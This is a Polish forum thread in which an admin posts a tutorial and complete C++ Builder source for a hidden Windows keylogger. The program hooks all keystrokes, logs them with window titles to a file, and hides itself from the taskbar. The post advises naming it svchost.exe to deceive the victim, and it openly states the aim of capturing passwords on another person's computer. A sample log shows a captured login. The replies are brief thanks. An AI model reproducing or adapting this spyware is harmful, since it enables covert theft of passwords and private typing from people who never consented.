Autor |
Wiadomość |
WhoAmI
Admin
Dołączył: 13 Lip 2008
Posty: 68
Przeczytał: 0 tematów
Ostrzeżeń: 0/6 Skąd: Się biorą dzieci? Płeć:
|
|
Prosty Keyloger |
|
Keyloger to jeden z bardziej pożądanych programów, ponieważ pozwala na przechwytywanie klawiatury, a właściwie wciśnięcia poszczególnych jej klawiszy. Przechwytywanie wciśnięcia klawiszy tylko w programie, w którym został umieszczony takowy kod, jest sprawą prostą, więc nie będę tego tutaj opisywał.
Ta porada jest o tym jak napisać program, który będzie pozostawał ukryty i nieaktywny (ale uruchomiony oczywiście) i będzie przechwytywał hacki systemowe, w tym konkretnym przypadku wciśnięcia poszczególnych klawiszy w systemie, w dowolnym programie, a wynik będzie na bieżąco zapisywał do pliku. Jaki jest pożytek z takiego programu? No cóż, może wydawać się to niemoralne, ale z pomocą takiego programu można przechwytywać hasła wpisywane do programu, o ile oczywiście uda nam się na komputerze, z którego hasła chcemy podejrzeć, uruchomić nasz keyloger. Program będzie pozostawał w ukryciu niewidoczny dla użytkownika i będzie rejestrował wszystkie wciśnięcia klawiszy, co więcej, kod który pokażę, będzie rejestrował również datę i godzinę oraz nazwę okna w którym klawisze były wciskane, niżej przykład właśnie takiego pliku:
| | 2007-05-13 09:58:54 Mozilla Firefox: "cyfbar.republika.pl[EN]keyloger" c++ builder[EN]
2007-05-13 09:59:23 Bez tytułu - Notatnik: Przyk[rALT]ladowy tekst wpisywany w Notatniku systemowym.
2007-05-13 10:00:09 Dokument1 - Microsoft Word: a t[BK]teraz pisz[lALT][rALT]e w Word'zie.
2007-05-13 10:02:17 Unit1.cpp: //j[BK]keyloger [BK], kod w cpp |
Jak widać keyloger tworzy oddzielne rejestry dla różnych okien, dopóki nie zostanie zmienione okno, w ten sposób można precyzyjnie określić co i kiedy było wpisywane. Jeżeli w jakimś programie jest wpisywane hasło, no to najczęściej jest ono maskowane gwiazdkami, lecz keyloger przechwytuje nie gwiazdki lecz tekst, występuje jednak w takim przypadku jeden mankament, otóż podczas wpisywania loginu i hasła następuje przejście z jednego pola do drugiego poprzez kliknięcie myszką i tutaj tak przechwycona nazwa użytkownika i hasło nie zostaną od siebie oddzielone, np:
Kod:
2007-05-13 09:58:54 Mozilla Firefox: cyfrowy_baron@.........
jak widać nie ma przerwy między nazwą użytkownika i hasła, niestety taka drobna niedogodność, próbowałem rejestrować wciśnięcie klawisza myszy w celu oddzielenie wpisów, ale wystąpiły z tym problemy, ponieważ funkcja wykorzystuje już kliknięcia myszki do sprawdzania, czy użytkownik zmienił okno, poza tym program rejestrował zbyt dużo kliknięć i pojawiały się ciągi absurdalnych znaków.
Drugi problem to polskie znaki, nie mogłem sobie z tym poradzić, ale też nie chciało mi się specjalnie nad tym siedzieć, więc poszedłem na łatwiznę i wprowadziłem rejestrowanie wciśnięcia prawego klawisz Alt, czyli w przypadku wstawienia polskiej litery np. ś program zarejestruje to jako: [rAlt]s, więc np. wyraz światłość, będzie miał następującą postać: [rAlt]swiat[rAlt]lo[rAlt]s[rAlt]c, ale i tutaj pojawia się dodatkowy problem, ponieważ pisząc wyraz światłość, w przypadku wpisywania ostatnich dwóch liter ść użytkownik przytrzyma wciśnięty klawisz Alt i w efekcie wyraz zostanie zarejestrowany jako [rALT]swiat[rALT]lo[rALT]sc, tak więc z polskimi znakami występują problemy, ale z reguły loginy i hasła nie mogą ich zawierać.
Kolejna sprawa to klawisze specjalne, jak np. ENTER, TAB, BACKSPACE, itp.. program je rejestruje jako specjalny zestaw znaków i tak np. w przykładzie wyżej mamy coś takiego: //j[BK]keyloger [BK], kod w cpp widać tutaj wstawki [BK] oznacza to, że w tym momencie został użyty klawisz BackSpace, czyli usuwanie wpisanej litery, dla ENTER będzie to np. [EN] dla Page Up [PU] itd.
Prezentowany tutaj keyloger jest zrobiony jako aplikacja okienkowa, czyli nie wymaga to stosowania żadnych plików *.DLL, czy WinAPI, całość zadania zostaje zrealizowana poprzez funkcję typu HOOKPROC.
Niżej przedstawiam kompletny listing pliku źródłowego keylogera i cały kod programu mieści się w pliku źródłowym Unit1.cpp, w programie wykorzystałem tylko dwa komponenty - przyciski Button1 q którym podłączenie hacka (keylogera) i Button2, w którym hack zostaje odłączony:
| | //---------------------------------------------------------------------------
#include
#pragma hdrstop
#include "Unit1.h"
#include
//---------------------------------------------------------------------------
#pragma package(smart_init)
#pragma resource "*.dfm"
TForm1 *Form1;
HHOOK g_hLogHook = NULL;
HWND g_hLastFocus = NULL;
const int KeyPressMask = 0x80000000;
char g_PrvChar;
//---------------------------------------------------------------------------
HOOKPROC ConnectHook(int iCode, WPARAM wParam, LPARAM lParam)
{
if(iCode < 0) return (HOOKPROC)CallNextHookEx(g_hLogHook, iCode, wParam, lParam);
EVENTMSG *pEvt = (EVENTMSG *)lParam;
int i;
HWND hFocus;
char szTitle[256];
char szTime[128];
FILE *stream = fopen("c:\\logfile.txt", "a+t"); //rejestr keylogera zostaje zapisany w pliku logfile.txt na dysku c:
if(pEvt->message == WM_KEYDOWN)
{
int vKey = LOBYTE(pEvt->paramL);
char ch;
char str[10];
hFocus = GetActiveWindow();
if(g_hLastFocus != hFocus)
{
GetWindowText(hFocus, szTitle, 256);
g_hLastFocus = hFocus;
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
fprintf(stream, "%c%c", 32, 32);
}
int iShift = GetKeyState(0x10);
int iCapital = GetKeyState(0x14);
int iNumLock = GetKeyState(0x90);
bool bShift = (iShift & KeyPressMask) == KeyPressMask;
bool bCapital = (iCapital & 1) == 1;
bool bNumLock = (iNumLock & 1) == 1;
if(vKey >= 48 && vKey <= 57)
if(!bShift) fprintf(stream, "%c", vKey);
if(vKey >= 65 && vKey <= 90)
{
if(!bCapital)
{
if(bShift)
{
ch = vKey;
}
else
{
ch = vKey + 32;
}
}
else
if(bShift)
{
ch = vKey + 32;
}
else
{
ch = vKey;
}
fprintf(stream, "%c", ch);
}
if(vKey >= 96 && vKey <= 105)
if(bNumLock) fprintf(stream, "%c", vKey - 96 + 48);
if(vKey >= 186 && vKey <= 222)
{
switch(vKey)
{
case 186: if(!bShift) ch = ';'; else ch = ':'; break;
case 187: if(!bShift) ch = '='; else ch = '+'; break;
case 188: if(!bShift) ch = ','; else ch = '<'; break;
case 189: if(!bShift) ch = '-'; else ch = '_'; break;
case 190: if(!bShift) ch = '.'; else ch = '>'; break;
case 191: if(!bShift) ch = '/'; else ch = '?'; break;
case 192: if(!bShift) ch = '`'; else ch = '~'; break;
case 219: if(!bShift) ch = '['; else ch = '{'; break;
case 220: if(!bShift) ch = '\\'; else ch = '?'; break;
case 221: if(!bShift) ch = ']'; else ch = '}'; break;
case 222: if(!bShift) ch = '\''; else ch = '\"'; break;
default: ch = 'n'; break;
}
if(ch != 'n') fprintf(stream, "%c", ch);
}
if(vKey >= 8 && vKey <= 46)
{
switch(vKey)
{
case 8: strcpy(str, "[BK]"); break;
case 9: strcpy(str, "[TAB]"); break;
case 13: strcpy(str, "[EN]"); break; // ENTER
case 17: strcpy(str, "[rALT]"); break; // prawy ALT
// case 18: strcpy(str, "[lALT]"); break; // lewy ALT
case 32: strcpy(str, " "); break; // spacja
case 33: strcpy(str, "[PU]"); break;
case 34: strcpy(str, "[PD]"); break;
case 35: strcpy(str, "[END]"); break;
case 36: strcpy(str, "[HOME]"); break;
case 37: strcpy(str, "[LF]"); break;
case 38: strcpy(str, "[UF]"); break;
case 39: strcpy(str, "[RF]"); break;
case 40: strcpy(str, "[DF]"); break;
case 45: strcpy(str, "[INS]"); break;
case 46: strcpy(str, "[DEL]"); break;
default: ch = 'n'; break;
}
if(ch != 'n') fprintf(stream, "%s", str);
}
if(bShift && vKey == 123)
{
Application->Restore();
ShowWindow(Application->Handle, SW_SHOW);
if(g_hLogHook != NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}
}
if(pEvt->message == WM_LBUTTONDOWN && pEvt->message == WM_RBUTTONDOWN)
{
hFocus = GetActiveWindow();
if(g_hLastFocus != hFocus)
{
g_hLastFocus = hFocus;
GetWindowText(hFocus, szTitle, 256);
strcpy(szTime, DateTimeToStr(Now()).c_str());
fprintf(stream, "%c%s%c%c%s%s", 10, szTime, 32, 32, szTitle, ":");
fprintf(stream, "%c%c", 32, 32);
}
}
fclose(stream);
return (HOOKPROC)CallNextHookEx (g_hLogHook, iCode, wParam, lParam);
}
//---------------------------------------------------------------------------
__fastcall TForm1::TForm1(TComponent* Owner)
: TForm(Owner)
{
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button1Click(TObject *Sender)
{
if(g_hLogHook == NULL)
g_hLogHook = SetWindowsHookEx(WH_JOURNALRECORD, (HOOKPROC)ConnectHook, HInstance,0);
Application->Minimize();
ShowWindow(Application->Handle, SW_HIDE);
}
//---------------------------------------------------------------------------
void __fastcall TForm1::Button2Click(TObject *Sender)
{
if(g_hLogHook != NULL)
{
UnhookWindowsHookEx(g_hLogHook);
g_hLogHook = NULL;
}
}
//--------------------------------------------------------------------------- |
W zdarzeniu OnClick przycisku Button1 hack zostaje podłączony do wszystkich procesów, a następnie program zostaje zminimalizowany i ukryty poprzez usunięcie go z paska zadań, w Menadżerze zadań na zakładce Aplikacje program również nie będzie widoczny, jednak będzie widniał na zakładce procesów . Niemniej jednak jak wspomniałem program zostaje ukryty, można mu nadać np. nazwę svchost.exe, wtedy można zmylić użytkownika, ponieważ na zakładce procesów występuje ich kilka, oczywiście wprawne oko informatyka rozpozna tak zamaskowany proces jako fałszywy ponieważ będzie on występował jako proces użytkownika, podczas gdy autentyczne procesy svchost.exe występują tylko jako procesy systemu, usługi sieciowe i usługi lokalne, więc można odróżnić fałszywkę.
Skoro program został ukryty, no to nie można go przywołać i odłączyć hacka, dlatego w funkcji ConnectHook umieściłem kod odłączający hack i przywołujący okno po naciśnięciu kombinacji klawiszy SHIFT + F12, czyli wystarczy, że użytkownika naciśnie klawisze SHIFT + F12 a program się ukaże i hack się odłączy, więc kryje się za tym pewne niebezpieczeństwo, to oczywiście sprawia, że kod znajdujący się w zdarzeniu OnClick przycisku Button2 jest zbędny, ale umieściłem go dla przykładu.
Post został pochwalony 0 razy
|
|
Nie 22:52, 13 Lip 2008 |
|
|
|
|
palusikr6T
Dołączył: 04 Lut 2014
Posty: 5
Przeczytał: 0 tematów
Ostrzeżeń: 0/6
|
|
|
|
DZIEKI!
Post został pochwalony 0 razy
|
|
Wto 21:21, 04 Lut 2014 |
|
|
Czaczek30
Dołączył: 26 Lut 2014
Posty: 5
Przeczytał: 0 tematów
Ostrzeżeń: 0/6 Skąd: Tuliszków
|
|
|
|
SUPER!
Post został pochwalony 0 razy
|
|
Śro 19:07, 26 Lut 2014 |
|
|
Zubenpl54
Dołączył: 02 Mar 2014
Posty: 5
Przeczytał: 0 tematów
Ostrzeżeń: 0/6 Skąd: Rybnik
|
|
|
|
Doskonale!
Post został pochwalony 0 razy
|
|
Nie 0:15, 02 Mar 2014 |
|
|
Elosator_59
Dołączył: 25 Mar 2014
Posty: 5
Przeczytał: 0 tematów
Ostrzeżeń: 0/6 Skąd: Słomniki
|
|
|
|
Super
Post został pochwalony 0 razy
|
|
Wto 23:21, 25 Mar 2014 |
|
|
|
|
Nie możesz pisać nowych tematów Nie możesz odpowiadać w tematach Nie możesz zmieniać swoich postów Nie możesz usuwać swoich postów Nie możesz głosować w ankietach
|
|
|